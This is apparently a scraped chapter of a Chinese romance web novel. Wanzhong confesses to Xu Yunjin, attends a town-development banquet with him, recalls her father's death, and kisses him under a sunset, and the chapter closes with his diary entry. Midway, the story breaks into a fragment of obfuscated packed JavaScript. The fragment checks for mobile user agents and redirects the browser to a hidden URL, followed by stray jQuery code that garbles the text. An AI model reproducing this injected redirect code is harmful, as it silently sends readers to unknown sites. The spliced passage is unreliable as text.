云锦的目光落在晚钟身上。
浅浅的暖色光芒照在她的眉眼,鼻梁,再到嘴唇。
他不自觉地屏住呼吸。
晚钟离云锦两臂距离,瓷杯内的热雾熏得她有些恍惚。
想起重逢那天他立在车前带笑的眉眼,温和又压抑小心翼翼,像期待已久的事情终于实现,让她不受控地跟着澎湃。
他那天夜里的神态和现在如出一辙。偏爱这件事情,似乎不张口也会从其他地方跑出来。
晚钟紧张得难以呼吸,浑身的热量一股脑朝头顶冲。
她以往想要得到慰藉时,身边没有声音。
云锦突然出现在身旁,语调耐心得气氛来不及转变。宛若猛然涌来的一场梦。
一个半月前,云锦坐在身侧,毫不避讳的承认暗恋她,还给她写过情书。
为了照顾她的感受,主动添加好友对她说些别扭的藉口。
这么多年,有很多对她示好的异性,可对方要么不敢表白、不敢真的添加联系方式,要么迟迟的等不到她反应过来是否喜欢。
无疾而终的暗恋数不胜数。
当面讲述喜欢的人,晚钟只遇见云锦一个。
在有且仅有一次的高中生活里,他始终留意她的一举一动,将心动克制八年。
可她对他的印象微乎其微,正眼瞧他的次数都很少很少。
以云锦的相貌、能力,轻而易举会引人接近。
一年一年过去,哪怕几年未见,曾没有好友,她和以前不一样了。
他仍说,喜欢你这件事,这么多年来从没被斩断过,我在一天比一天的更爱你。
晚钟并不反感,下意识坐端正了:“许云锦。”
她在他面前,为数不多的郑重其事。云锦手搭在桌边:“嗯?说这些,让你困扰了吗?”
晚钟:“我喜欢你。”
他缓缓地蜷起手指。
晚钟的眼神和他碰在一起:“我正在喜欢你,许云锦。”
第一次说出这种话,她分秒不眨地盯住云锦。他看着她,一秒钟,两秒钟……
空气静默。
他好几秒没有动静。
光影深邃的视线看着她又不聚焦。
晚钟心头一敲:“我的心意,和以前不一样了。”
但云锦却说:“好,收到了。”
“收到……了?”
“嗯,你的心意,我知道了。”
“这么说的话,我们现在算……”
“天很晚了。”云锦盖上杯盖,起身拉开通往楼梯的隔门,再静静地等她过来,“我先送你回去。”
“许云锦。”
“用这个吧,不用还了。”
他眉目坦荡,从玄关柜子拿出一把蓝色的长柄雨伞,塞给她,又在桌上抓来一个铁罐,
“刚没怎么喝的花茶,你带回去慢慢喝。”
晚钟唇角的弧度凝固在脸上。
“是不喜欢吗?”他立在门前,脸上没有什么表情。
他手里的花茶连对饮品挑剔至极的云女士都赞不绝口,她应该不容易觉得难喝。
晚钟立在门内,和他隔了一道门槛:“你想说的,只有这个?”
云锦向前一步。
晚钟嘴角绷直:“不准备继续刚才的话题,想要就此结束的意思,是吗?”
“晚钟。”
“什么?”
“外面的雨下得很大。”
晚钟瞧他半晌,嗓子一噎:“你并不在意我现在的心意吗?”
“现在不回去,待会儿会很冷,如果感冒了,会影响天亮之后的事。”他低下头,退回原地。
“……”
聊得似乎不是一个话题,避而不谈有时候就是答案。
晚钟挑起下巴,声音沉下去:“怎么突然提起天亮之后的事?”
“今天周三,你还要正常上班。”
“不能临时调休吗?”
“你昨天已经休过了。”
是啊,昨天是周二调休日。
“下次调休最早要等周一。”
音乐餐厅的打卡机器比想象中更正常的维持上班。
晚钟静默着,不想重拾话题了。
他们走到一楼后门,云锦站在前面,撑着铁艺门,等她走近。晚钟低着头,视线被手机光影照亮,见他停在墙边,清爽利落却不面对她,视线也挪到别处。
他压抑攻击性的身影在昏灰的四方角落显得格外平静,冷白的皮肤掩进圆领短袖,衬得锁骨线条分明,沉静的眼眸微压,让她辨不出情绪。
晚钟深吸一口气,抑制心底烦躁,等他锁上门再抖开雨伞,她定下思绪离他远了一步:
“不用送了,向阳路离这儿很近,我跑回去就好。”
云锦似乎恍了一瞬:“那把伞拿着,外面雨下很大,不撑伞会彻底淋湿。如果你最近感冒发烧,我可能没时间去看你。”
晚钟听雨珠簌簌地砸在伞面,熄灭屏幕把手机落进口袋:“你的意思是,因为表白所以突然变得更忙了。”
“不算突然,只是事情堆积到现在。”他转过身来,望着她,表情在一刻间凝固。
“就是说,未来一段时间内,你都不打算回复我的告白,是吗?”晚钟心尖有些发酸,得不到回应的对话像是梦呓,随着凉气一丝一丝钻入骨骼。
“对不起……”云锦淡定得一如平常,“其实我希望你最近不要打给我了,非上班时间别再来餐厅。这里不是想玩就能玩的地方,我留给你电话号码,不是为了这种事。”
夜幕里的暴雨倾盆而下,晶莹剔透的水珠顺延鞋尖,汇进积水。
真的有人不希望暗恋成真吗?
晚钟托着下巴思索,她希望得到某种归属感,但没想到初次告白就被对方委婉拒绝。
最近十天,她和云锦的关系前所未有的尴尬。他不像先前对她事事照顾,非工作相关的消息一条没有回。昨天夜里难得熬了通宵,清晨还没睡醒,家里就赶来看房的客人。
“你这地方位置不错,又有店面又有住所,顶上还带露台,怎么瞧怎么方便。”
“既然花店不打算开了,要是连二楼一起打包,我给你出这个数怎么样?”
宁雨情绪平平道:“等你想好付款方式,我们再谈二楼的事。”
她心里清楚,周边人想趁着古城开发的文旅风口赚上一笔。看房的人陆陆续续变多,开价已经远超预期。
南栀一惊:“花店很久不开,重新开业也难有回流的人气,都卖了以后住到哪里?”
宁雨云淡风轻地领客参观主卧:“养老院不能住吗?再不济四处转转,租房生活。”
余生几十年,毫无归属的四处租房哪里像话!
晚钟不想听下去了,她不打算让姨妈现在就进养老院。
困意消散,手抓住门把手,窗台的手机响起来电铃声。理智刹那拉回,门外的谈论模糊起来。手机这头短暂的寂静两秒,晚钟听到云锦的声音:“是晚钟吗?”
“是我,有什么事吗?”早八点,还不是她的上班时间。
“北鸣说今天有古城入驻活动,想问问你什么时候有空。”
“活动?”
“对,活动。在春霖市区举办。”
晚钟停在门后,呼出口气:“有你这位主理人去应该就够了。”
云锦:“……”
她挂断电话,停顿一会儿,铃声继续响,还是云锦的号码。
“许云锦?”
“不再考虑考虑吗?”他语调略显意外,
晚钟坐回床上有些不明所以,“我正准备收拾花店。入驻活动在乐评人工作范围内吗?”
“……也算。”他说完,久久的沉默。
晚钟思绪断上两秒:“活动在几点,要自行过去吗?”
“下来说吧。”
“什么?”晚钟些许惊讶地反应过来:“你现在在哪?”
“我现在停在你家楼下,你有时间的话可以过来,或者,等你下午有空,我再来接你。”
晚钟望向窗外,云锦单手落进口袋,昂头立在花店门前。
他应该刚洗过头。
发丝略略渗出水汽,沁得眼神都湿漉漉。
稍一抬眸,他和晚钟的视线撞在一起。
晚钟不自在地握紧手机:“家里有客人,我这会儿走不开。”
“要不我在楼下等你一会儿?顺路请客人到餐厅吃道午饭?”话语别扭又不合时宜。
晚钟又看了他一眼。后者面色坦荡。
他们一瞬间达成共识,谁都不用表白的事做借口。
“客人吃不惯西餐,我们下午再约时间吧。”
她说完,刚准备挂断电话,瞥见柜边的橘色调礼盒。到嘴边的话打个转:“入驻活动有什么着装要求吗?”
云锦怔愣,语气定定道:“半正式服装就足够。”
晚钟应一声,云锦停顿一会儿,不尴不尬询问:“需要我帮你准备出席服装吗?或者,我把活动公示发给你,有需要你再告诉我?”
晚钟表情冷了下来,看眼他的着装,心底仍有些憋屈无奈,她只说要看活动公示,其他的只字不提,不讲他亲口说的不要打给他。
云锦听她说完,匪夷所思地看眼手机屏幕。她先一步挂断电话,转身不在窗台停留。
晚钟没了补觉的心思,她找出一套睡衣,还没走到浴室,就听到客厅传来姨妈和南栀阿姨争论的声音。
她们声音不大,语气甚至称得上平静,可说出口的话隐隐藏匿硝烟味道。
晚钟整理表情迈出房门,下一刻,争论的字眼挪到她的身上。
南栀指向她,朝宁雨沉下语气:“就算你不为自己着想,也该为晚钟考虑考虑,她才二十多岁,房子卖了她以后回来住哪?”
宁雨端起瓷杯喝茶,整个人没有情绪波动,也不看谁一眼:“她要住在哪,那是她的事,和我吵什么。”
坐在对面的买家眼睛环绕一周,宛若刚听到二位的分歧,呈出笑脸,用力地眯起来眼睛:“孩子大了,总会有自己的主意。”
“大了?她今年二十五岁,刚毕业还没几年,从小跟着姨妈生活也就算了,现在她刚刚离职回家,你就要把她的避风港给卖了,你图得什么心思?”南栀变了脸色。
买家眼睛陡然睁大:“这也不是我们让你卖的房子,既然决定卖房,家里人怎么沟通是你们的事情,我们只负责看好房子,谈好价钱,再把钱打过去收拾收拾负责搬家。”
晚钟慢悠悠走到客厅,从冰箱拿出半结冰的水,拧开,不急不缓喝下几口,才抱着衣服回了房间。
她放下衣服,靠在门后闭目冷静一会,摸出手机,给岑西发消息:“云锦刚刚过来了。”
岑西记者刚在工位重新看完昨日选题,看到手机屏幕亮起,她缓几分钟查看消息:“这才几点,他去哪找你?大概说什么了?”
“来我家楼下说古城入驻活动的事。”
“春霖古城开始区域试营业,今明两天在春霖市有宴会活动,他估计想当早鸟试试水……你打算跟他一起去?”
晚钟:“还没想好,他说这场活动在工作范围内,我也没打算放弃本月全勤奖金。”
“……”
在岑西看来,晚钟已经做好了决定。
良久,她提醒晚钟:“去的时候打起精神,做好准备,听北鸣说,林书桓从国外回来了,他以顾问律师的身份参与两场宴会。”
林书桓。
晚钟有三年没见过他,现在听到他的名字还有些莫名的别扭。他和她是高中校友、大学同学,两人曾经关系很不错,一起准备期末周、晚上约着吃白石深夜食堂。
毕业那年,晚钟邀请他来看她的一场乐团演出,他在演出结束也没有到场。他陆陆续续爽约一年多,她不再邀请他,除了节日祝福,两人基本不联系更不会见面。
晚钟心底还有不满,不太想说他们的事。她把手机探出门缝,录了一段音频发给岑西。
晚钟:“宁雨姨妈和南栀阿姨因为售卖房屋的事又争论起来,买家执意要整栋小楼,一大早就把人吵醒了。”
“听起来像在争夺你的抚养权,卖房的钱宁雨阿姨打算分给你吗?”
“据说会分一半。”晚钟回想一下:“但南栀阿姨觉得只分一半对我不够厚道。”
岑西搜索房价,考量之后:“分一半也不错,多分些对你更有保障。看你打算。”
晚钟没回消息,怔怔地盯着天花板,失神好一阵,忽地拽过被角缩回床上。
最近积压很多想法,告白失败的情绪等翻开手机,不知道该和谁说。划了划列表,鬼使神差点进岑西的对话框。
聊了几次,两人关系进展飞快。晚钟心底的空洞似乎填补一块。
她把头埋进被褥,思量和云锦的共同好友圈子。直到情绪缓过来了,她重新抱着衣服,直直地去浴室洗澡。
隔两道门,客厅的声音传了进来。
宁雨:“晚钟以后的事有她自己操心,退一步讲,她的事该桑沃去管。”
南栀:“你又没有孩子,没有结婚,她再怎么也是你唯一的外甥女,别为你不想管她找借口。”
晚钟锁着门,无法看到外面人的表情做出判断。她打开花洒又关上:“姨妈想怎么处理就怎么处理吧,房子写了你的名字,除你之外的人哪里会有话语权呢?”
南栀隔着距离,恨铁不成钢地喊:“不管怎么处理,都该把你安顿好!”
晚钟漫不经心揉着泡沫,对这种事逐渐不好多说。
桑女士也好,宁雨姨妈也好,南栀阿姨也罢,谁都不可能管她一辈子。
她冲掉泡沫,突然不想出门,只想关着阳台拉动小提琴。
下午两点,晚钟开始化妆,提前准备好的套装挂在阳台。
宁雨最近的脾气更加阴晴不定,好的时候挑不出不满,不好的时候不用点就会燃起来。
她看眼阳台服装,旋即又移开视线:“为什么把这套衣服拿出来了?你不是说这套衣服要留着等独奏巡演穿,现在整理出来有什么用,是能让你今天巡演,还是能让你立刻找到新工作?”
宁雨:“一直在音乐餐厅工作不是长久的方法,在烟栊一个月能挣多少?你之前的大学同学林书桓,他姨妈说他现在每月十几万元,国内国外跑着接工作,体面又风光,你在学校时一直比他好上很多,真就不打算……”
晚钟不说话,梳好头发去阳台拿衣服。
宁雨又说:“买家愿意出六十七万,等钱到了,三十七万留给你,去其他城市换个工作。”
“啊,您说这个。”晚钟漫不经心别过头,“您不怕桑女士下次寄快递寄错地方?”
“她还会寄什么东西?一年一张的贺卡收不收也就那样。”宁雨神色落寞,“你告诉她,让她别回来了。”
“以后都不见面了?”
“嗯,不再来往了。”
"……哦。"晚钟手机响,她一手抱衣服,一手抬起电话,“桑女士,宁雨姨妈说……”
“啧!你这丫头——”宁雨夺手机。
晚钟笑眯眯把电话挂断,说:“不是桑女士的电话,云锦来接我去春霖市参加活动。”
“……”宁雨脸色五彩斑斓。
晚钟笑意不达眼底:“姨妈,您还没和我说过,当初决定养我的理由。”
“能因为什么,因为你……”
“不是这套说辞。”晚钟幽幽道:“是桑女士把房子让给你,把我留给你的真话。”
“……”宁雨神色复杂地看着晚钟,后者停半晌,转身回屋。
宁雨的视线还固定在原地,她站在那里,什么都没说。
晚钟换好衣服,和她擦肩而过,直到走进楼梯,眼眶才有一些湿润。
再下一层,直直地望见门另一端的云锦。
他表情淡淡,拉开车门,等她过来。
晚钟微扬下巴,走过去,不卑不亢坐上副驾。
一路上,他们沉默着,谁都没有说话。
-
春霖市艺术展馆是在老展馆中心倒闭后临时建立的会馆,因为展出举办不多,逐渐的开始承接宴会事宜。
几年下来,周围开业新的餐饮、服饰店铺,不远处有了中学,收益和名气变得越来越可观。
跟着导航,车子停至事先安排好的车位,晚钟和云锦跟随人流在宴会厅坐下。
赶来的主理人或多或少参与古城开发项目,每人拥有几家连锁店铺。
北鸣的上司作为重要项目负责人,领着北鸣和周遭闲谈,他在人群中举止有度,和平时大相径庭。
“欢迎大家来到春霖市古城开发项目宴会现场,古城试营业区域已经定了下来,为了方便大家沟通,我们邀请顾问律师林书桓林律师来到现场……”
主持人控制场面,一边主持活动,一边留意事先通知好的人有没有就位。
晚钟和云锦坐在距离舞台第三排的位置,他们座椅并排,一挪动就会碰到旁边人的膝盖或是鞋尖。
走进宴会厅就开始拥有的不自在此刻升腾,她咬紧牙关,瞄见候场区的林书桓。
他比前几年更有气质,一身西装凌厉且严肃,不知道是不是错觉,她总觉得他在找寻谁的身影。
“活动会场专门设立咨询区,餐饮区,交际区,大家可以按需移动。进行个人咨询之前,我们先邀请林律师上台,解答大家都很关注的话题。”主持人烘托气氛,持续控场。
林书桓不畏不惧地走到舞台左侧,坐到既定位置上。台下来宾被吸引视线,不少人转身回来落座。
见状,云锦放下手臂说:“要是觉得不自在,我们等会儿提前出去。”
晚钟点头:“好。”
她望着台上做自我介绍的人,毫无预兆地想起一个话题:“许云锦,你凑过来些。”
云锦:“怎么了?”
“你先凑过来。”晚钟心跳被周围的声响搅动,“如果和你表白的人不是我,你会做出怎样的反应?会委婉的不再提起吗?”
云锦自顾自盯她一会儿,忽然问:“你呢?”
晚钟极淡地笑一声。
她仅有一次表白经验,后续很长时间内不打算再次尝试这种滋味。可如果有人向她表白,问题三年前已经有了答案。
林书桓委婉的向她询问恋爱倾向,她毫不犹豫地拒绝。
归属感一般的安定与温暖,晚钟只在云锦身上隐隐察觉。
奇妙的是他表面无论如何平静,内里总有和她相似的偶尔需要孤独。
这和台上侃侃而谈的林书桓很不一样。
先前参与更大的宴会,都没有现在忐忑,晚钟的鞋尖偶然踩过云锦鞋尖,两人脸上却像什么也没发生。
两个小时的座谈如坐针毡,不经意地膝盖互触显不出温柔缱绻。
但这接触,让晚钟闷得快要窒息。
活动一结束,他们就离开座位。
离场的人群拥挤,北鸣瞧见距离不远的主办江思越,乐呵呵地喊着云锦和晚钟一起打招呼。
“江老板最近在哪发财啊?”
江思越和北鸣父亲差不多年纪,他和北鸣导师做了三十多年好友,一见北鸣打招呼,喜笑颜开挪了过来。
他约着三位年轻人一起吃顿晚饭,地点定在“展馆门前被树挡住的店”。聊天期间,林书桓找晚钟搭话,约定下次再见。
走出展馆,他们穿过温度颇高的人行道,抵达对面的店铺入口。干净亮堂的餐馆下午五点半开始营业,他们到得刚刚好,不用排队,坐到二号桌。
店内鱼类有名,炸鸡烤串台前供应,价格适中,显得分外有人情味。经营店铺的年轻夫妻在付款吧台后准备餐食,交替完成不同订单。江思越提起店招牌。
“怎么想到这样的名字……一开始还以为是展馆门前有特殊建筑的店,没想到店名就叫展馆门前被树挡住的店。”
新来的三号桌客人自然而然地接话:“以前店门口长了棵小树,慢慢的,树长大挡住招牌,干脆改名字了。外卖软件上也是这个名字,听说做古城项目的大老板以前和朋友常来吃饭。”
“那都是七年前的事,不管赚了多少钱,人总得念旧情,没有人情味可不行。”
江思越慈和地点头,探手开玻璃瓶汽水,插上吸管,三号桌客人出门接电话。迟来一步的北鸣开门直奔冰柜,引进室外一股热气。他从江思越手里接过开瓶器,喝口水打趣道:
“差点以为江叔性格大变,要领你们去吃跨国餐厅,还好这么多年,您老什么都没变。”
北鸣问大家帮他点了什么餐,问完,他警觉地打量坐在对面的两人:“所以,你们两个现在到底是什么关系?”
晚钟拆开一次性筷子,立刻坦言说:“你不是都知道了么,怎么还要重新问一遍。”
“那不算数,岑西没和我说细节,也没讲一星半点的前因后果,只和我说你们两个现在关系有些尴尬,不要同时开你们的玩笑。”
北鸣收紧笑容,在江思越碗里夹几块牛肉,不客气的一口塞进嘴里。他转头看眼云锦的餐,云锦立刻朝店员说:“二号桌单独加一盘牛肉。”
“不愧是饭搭子,一眼就知道我想干什么,你说你缺不缺儿子,不如我把户口迁你名下,你管我吃住得了。”
北鸣目光诚恳,顺手夹走云锦餐内的牛肉。云锦一边加餐一边说:“既然岑西知道我们的事,那等她们什么时候想讲,儿子你再去听吧。”
“这位爸爸,我本来也不想多问,只是之前程……”北鸣话说一半,被云锦的眼神盯了回去。
江思越解围问:“你家导师现在去车站了?”
“是啊,他说有讲座,买了下午六点多的高铁票,活动一结束就去车站了。我给他打了车,这会儿已经进站了。您二位有时候都犟脾气,一个不愿意单独安排车,一个非要自己打车。”
云锦头也不抬,咽下口面:“长辈自有打算,作为补偿,下次别忘了去老师那拿特产。”
北鸣的导师唯一跟不上的现代科技就是线上寄快递服务,江思越把北鸣当朋友儿子看,领头接几句玩笑,北鸣大笑起来:“下次得找理由让老师请大家吃饭。”
江思越摇头:“他来回一趟不方便,下次还是我来吧。”
北鸣牵牵嘴角,开口:“那下次请大家到音乐餐厅吃吧。”
他接过店长递来的牛肉,摆到桌子中间。店铺外的阳光依旧刺眼,停在展馆门口的车愈来愈少,热闹逐渐归于平静。晚钟同他们聊天,这才知道云锦打算开业国外分店,并尝试上市餐饮公司。
桌上没有外人,江思越愈聊愈尽兴,点单一轮烤串:“其实我和云锦见过很多次,那时候云锦还小,总跟在许老板后面。后来听说许老板和云女士离婚,云锦的抚养权由云女士接管,我还想以后什么时候能见面。如果不是这次活动,还没机会知道云锦竟然开了那么多餐饮店。之前总跟你待在一起的人,叫什么来着?”
北鸣夹牛肉的动作一顿,故意大声:“和许云锦关系顶顶好的年轻人,总共我们几个,您都见过,都认识。别光说我们的事,聊聊您呗,怎么把林书桓请过来的?他现在炙手可热呢。”
北鸣和江思越敞开话匣。云锦加入话题,等了一会儿,他满心感慨地问晚钟:“宁阿姨以前的画作还有留存吗?”
“画……我留下来的只有一副,前些日子送给你做乔迁礼了。”
江思越听到画作,眼睛顷刻明亮起来:“宁阿姨指哪位画家?”
“您常收藏画作,可能听过这位叫宁雨的画家,她主要产出油画。”
“宁雨啊!生在春霖的我这一辈人里有谁不知道她?我以前花大价钱都想见她一面。”江思越握拳,脸颊更加红润:
“我七年前花五十万拍下她的双联画,其中一副叫《薄纱上的海》,至今挂在我的收藏室。”
晚钟回想一下:“是有这样的双联画,另一幅叫《沙滩下的珍珠少女》。”
“这幅画被我卖给一位小提琴手,她五十万收购,倒让我净赚了。可惜宁大画家不出新作了,她如果现在售卖双联画,没有五十万美金很难拿下来。”
“她没说不继续画,可好多年没见她提笔,家里连画具都不再出现了。”
江思越似乎略感意外:“她家里以前出过不光彩的报道,可因为某个人、某件事就停止自己的脚步,放弃自己当下的人生,实在不算明智。像她一样在画人性、自由、压抑,同时又充满创造力的名家,至今都不算多。”
他对宁雨评价颇高,捶胸顿足希望出新作会告知他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463324|185379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>晚钟应了下来,想起姨妈先前被夸奖时人前平淡,人后哼歌的模样。
姨妈好像习惯性织起茧包,哪怕日夜居住在一起的人,都无法窥探到真实想法。
她有时会怀疑,姨妈和她到底是什么关系。
“听说她很喜欢弗里达,因为她的话,我专门往返墨西哥多次。”他低头坐在晚钟对面,一转身,衬衫衣袖碰翻旁边北鸣的餐碟。
晚钟暗叹不好,下意识伸手帮忙抽纸巾。
但手指还没挨到纸巾盒,云锦的目光落在她的绑带高跟鞋。
“先别动。”
他半跪着,握住她的脚踝让她踩在自己膝盖,仿佛做过千百遍,为她重新扣上腕带。
北鸣脑中电光火石,江思越意味深长地啧看他们半秒:“现在的年轻人也挺会疼人。”
“不是说你俩最近关系尴尬吗?这情报有误啊。”
北鸣筷子不稳,殷勤地问一句:“你们这种情况,开始多久了?”
云锦缓慢起身,不答反问道:“你和岑西那种情况多久了?”
“这哪能一样。”北鸣有些结巴地转移视线。
一两秒的安静后,云锦相当熟练地谈起其他话题。
晚钟轻飘飘地踩地,触感和温度缠着脚踝向大腿更上攀升,她忽然僵住一个姿势很久很久,像陷了进去,世界都晃了起来。
他们从餐馆出来,外面已是傍晚六点出头。
江思越和北鸣坐一辆出租去接岑西,晚钟本想找借口打车回去,可艺术展馆到烟栊花店的路途耗时过长,天气炎热,思绪复杂,如果单独回去路上晕车,事情会变得更麻烦。
她纠结着怎么回去,云锦先一步拉开车门。
晚钟来时坐了他的车,现在再坐一程又有什么尴尬?她坐上副驾,云锦坐在她左手边,开了空调手握上方向盘。
她瞧他没有多说话,自顾自调整挎包肩带。
今年夏天的温度比哪一年都要热烈,六七点的空气依旧发闷,气温稳固在三十多度。
晚钟感受风口凉气,缓缓耸下肩膀。
看了一圈,车内安安静静的。
她望眼出风口,不知不觉发起了呆。
年纪还小的时候,爸爸会在夏天接她上下学,等回到家,妈妈和姨妈在空调房围着姥姥包饺子。见她哒哒跑进来,一群人笑眯眯问她,能不能认出都是谁包的饺子。
那种安定的舒适感里,没有什么不能搁下。
她回过神,看到身旁云锦宽厚的肩膀,挺翘的侧脸。
莫名其妙地,晚钟有很多话想说。
“许云锦?”
“嗯?”
“你真的好像好像一个人。”
云锦愣了愣:“是很重要的人吗?”
“是啊,很重要很重要的人。”
“像某个长辈,还是你喜欢过的人?”
“是我爸爸。”晚钟偏着头说,“我以前怕热,怕一个人回家,尤其在夏天,每次都是爸爸开车接我回去。他一出现,我就什么都不怕了。见到他,就算气温持续闷热黏腻,似乎也不难熬了。”
“小学还闹过脾气,只要不是爸爸来接,谁来我都站在门口不走。后来,长大点,胆子大了,不太怕一个人回家。可你知道我第一次自己回去,见到什么事了吗?”
“见到什么事?”
他们住在烟栊,家与家距离不远,谁家有了风吹草动,两三天就会传遍邻里。但到今天,他仿佛第一次认识另一个她。
“姨妈,爸爸的母亲,像姥姥一样,跌坐在巷口哭得一把鼻涕一把泪,不远处是停在护栏的车辆,他们朝警察指着地上血人。”
晚钟声音淡下来:“我一开始还不清楚发生什么,只知道血人穿了和爸爸一样的衣服。等办葬礼,桑……我妈妈说忙着参与小提琴彩排,不会从春霖市回来。后来的纪念日,她也一次没有出现。”
“我和桑女士不算亲,真说起来,我是姨妈养大的孩子,可如果搬家不告诉桑女士,会不会显得太不讲情面?”
云锦略一思量:“她平时和你联系多吗?”
晚钟侧过头,抬眸看他:“不见面,也不常联系,只有她助理的工作电话。好些的是,从我上大学开始,她的助理每月会打给我一万块。助理说桑女士不希望我去打扰,也不希望外界知道她有女儿,还不如说她想和我划清关系。”
云锦看她半秒,忽然问:“那打给你的钱,你收下了吗?”
晚钟没话可说了:“收下了。”
“全部吗?”
“嗯,全部收下了。”
“……”
“那是我第一次做出正确的选择。”晚钟隔几秒,牵起嘴角,“如果当时不收钱,我什么都得不到。”
“做得好。”
“……”
过了几个红绿灯,晚钟回想助理第一次联系她。
那天夜里,她躲进浴室哭到半夜,期间不敢发出一点哭腔。
回过神,两人沉默着向前。
不知过了多久,云锦停在蓝湾石桥旁。
他说外面人并不多,但现在有火烧云。晚钟看一眼天空,跟他一起下车。
她伏在围栏,脑子想起以前常看的《动物世界》,辽阔的草原上,远景近景镜头切换和镜头捕捉动物移动时,花豹总在独居捕食,狒狒在群居防御。
比起频繁独行的人,云锦更像后者。
她以前仅从爸爸身上感受到长久、坚定且无理由的爱意,现在能带给她这种舒适感的人,是云锦。
晚钟望向天边,火烧云从西边一直烧到东边,映下来的金红光芒仿佛让他们自成一个世界。
她恍恍惚惚地没话找话:“很久没认真抬头看了,上次这样还是在高二。”
“……”
“说实话,前段时间告白被拒我有睡不好,还有夜里偷偷掉眼泪。”
“你没必要那样做。”
“是啊,只要接受你喜欢我,但不想和我谈恋爱这件事,一切就没有那样复杂了。”晚钟:“可我总忍不住回想。”
“晚钟……”
“你这么好的人,这样爱我的人,如果错过可能遇不到下一个。”她不客气地打断,“但我继续执着下去,我们或许连朋友都没得做。”
晚钟声线颤抖:“我这样的人,不管什么时候说喜欢,都有些突兀,但你是我第一个喜欢还表白的人,所以……云锦啊——”
云锦看她一眼,不可置信地睁大眼睛。
“你不再提告白的事,我也就不再提了。”
晚钟双手撑着围栏,挺直脊背,抹眼泪的间隙,她背身往车辆走。
忽然,她的手腕被用力扣紧。
他温暖的掌心紧贴她的肌肤,热度沿着毛孔渗进神经血液。
晚钟顿了顿,忐忑地回看两人越来越近的距离。
他的容貌自成一景,脸上没有太多波澜,却让她忘记所有动作。
晚钟心中的小鹿快要撞昏。
下一秒,他已凑过来,头低下来。
他的嘴唇比手腕的温度温暖,偶然鼻尖撞在一起,两人颤着眼皮重新对视。
紧接着,呼吸更深地杂糅汇成一股,云锦的手臂环绕她,她的手指紧攥他的领口。
世界安静下来。
两人的影子交错叠在一起,火烧云下,他们接吻很久很久。
2025.06.21
《Ripesummer》不公开经营记录。
一、今日歌曲分享
一路上听到不少歌曲,印象深刻的为T-ara《FallingU》、VERIVERY《MyBeauty》、八三夭《想见你想见你想见你》。
怎么办才好,夏至的晚风里,即便装作漫不经心,彼此的目光也在述说爱意。
八年了,我竟然更爱她了。
二、店铺经营相关
春霖市区分店开业以来,业绩超出预期。
以至于古城入驻活动上变得更有底气。
古城曾建好的部分即将试营业,初期开放半个步行街大小,店铺拟邀三十多家。
幸运的是,即便宴会遇见许先生,我们也默契的没有互相打扰。
纠结的是,顾问律师林书桓曾是高中传闻中X女士喜欢的人,参与古城活动我不得不和他添加好友,活动结束,他和X女士约定下次再见。
主办江思越为人慈和,乐意接触小辈,喜欢和年轻人交流。他和北鸣的导师始终照顾“熟夏”生意,在古城入驻上帮我很多。
数字时代里,他学会手机打车后彻底爱上这个功能。
听说北鸣要去找岑西,他争着抢着展示对打车功能的熟练应用,相处下来难有压力。
X女士赠送的乔迁油画正是江先生以五十万块售出的画作,几经流转,到了我这里。经打听,2019年时,购买画作的小提琴手为桑沃,桑女士。
三、特别事项
下午和X女士一起参与宴会,炎热的气候里她穿了不算凉爽却依旧得体的套装,高跟鞋似乎不合脚,腕带频繁开合好几次。
晚饭时,没忍住帮她重新扣上腕带。
想起前几天,我刻意和她保持距离,为了避免分手后连朋友都没得做,为了不让她看到我近期的不堪,故意装成不想和她在一起。现在看来,人还是得见好就收,不要违背内心的情感。
……突然想到绿湖湿地公园旧址。那里在2017年后多出一座坟墓,是一位很重要的人。
不可理喻的是,许先生17年卷走对方的赔偿,今年得知云女士会在烟栊多待几天,他冲到云女士面前,逼着云女士复婚。
他把云女士气进医院,又在云女士住院期间在病房大闹,还好云女士的助理一直陪护,及时制止许某人的偏执举动。
他像神经病。
他的新欢也像神经病,她带着怀孕六月的检查单堵在云女士病房外,她大骂云女士插足她和许先生的感情。
可两天后真相败露,她在医院堵到我面前,说许先生不愿意给她名分,说许先生对云女士念念不忘,说希望肚子里的孩子名正言顺姓许。
她威胁说想闹到店里,我打给乔郁西的朋友出警,并把出警电话存为云女士及其助理的紧急联系人。
不得不承认,我深爱某些人,但我并不喜欢他们。
乱糟糟的情况里,庆幸的是,X女士比想象中爱我。
她吐露真心的片刻,我明确的意识到,如果这次再克制,很难有第二次告白的机会。
所以,我们接吻了。
就在蓝湾石桥,火烧云下。
那一瞬间,整个世界安静下来,直到现在回想,人都是飘飘然,像丢了魂活在梦里。
不管做什么,总在想起接吻的画面,她嘴唇很软,香气和她衣服上的一样。
——那是我的初吻,听X女士说我是她第一个喜欢且告白的人,我想,原来高二时候是谣传。
X女士以前没有喜欢过谁,林书桓和她不是我们这样的关系。
听岑西说,X女士等夏天结束就要离开烟栊去外地,到时候,我们两个人的感情要怎么办?
听说异地恋最容易分手。
——半月前的记录。
北鸣约着大家一起打篮球,还好我早已帮X女士处理好发电机。
听说奖品是夏日海边旅行券,大家格外准时的到达现场。
许先生一如既往的心狠且想到什么是什么,受伤的手腕好几天好转,好运的是手指没有骨折。
晚上聚餐,我将啤酒倒进比头大的碗,路过许先生,不小心把啤酒洒在他身上。小伙伴们在叫好,而X女士和我们达成共识,一起鸽了许先生。
第二天北鸣说,许先生本来想对我使绊子,但因为“熟夏”分店业绩客观,这才没被许先生顺利针对。
PS1:许先生晚上约X女士吃饭,想来没说多少好听话,希望X女士不太往心里去。
PS2:可能因为各方面的情感积压,虽然没忍住对X女士述说爱意。
但她说她也喜欢我。
她在爱我。
她说爱我。
她说她……
爱我……
我……
又是不眠夜。
今日记录:许云锦。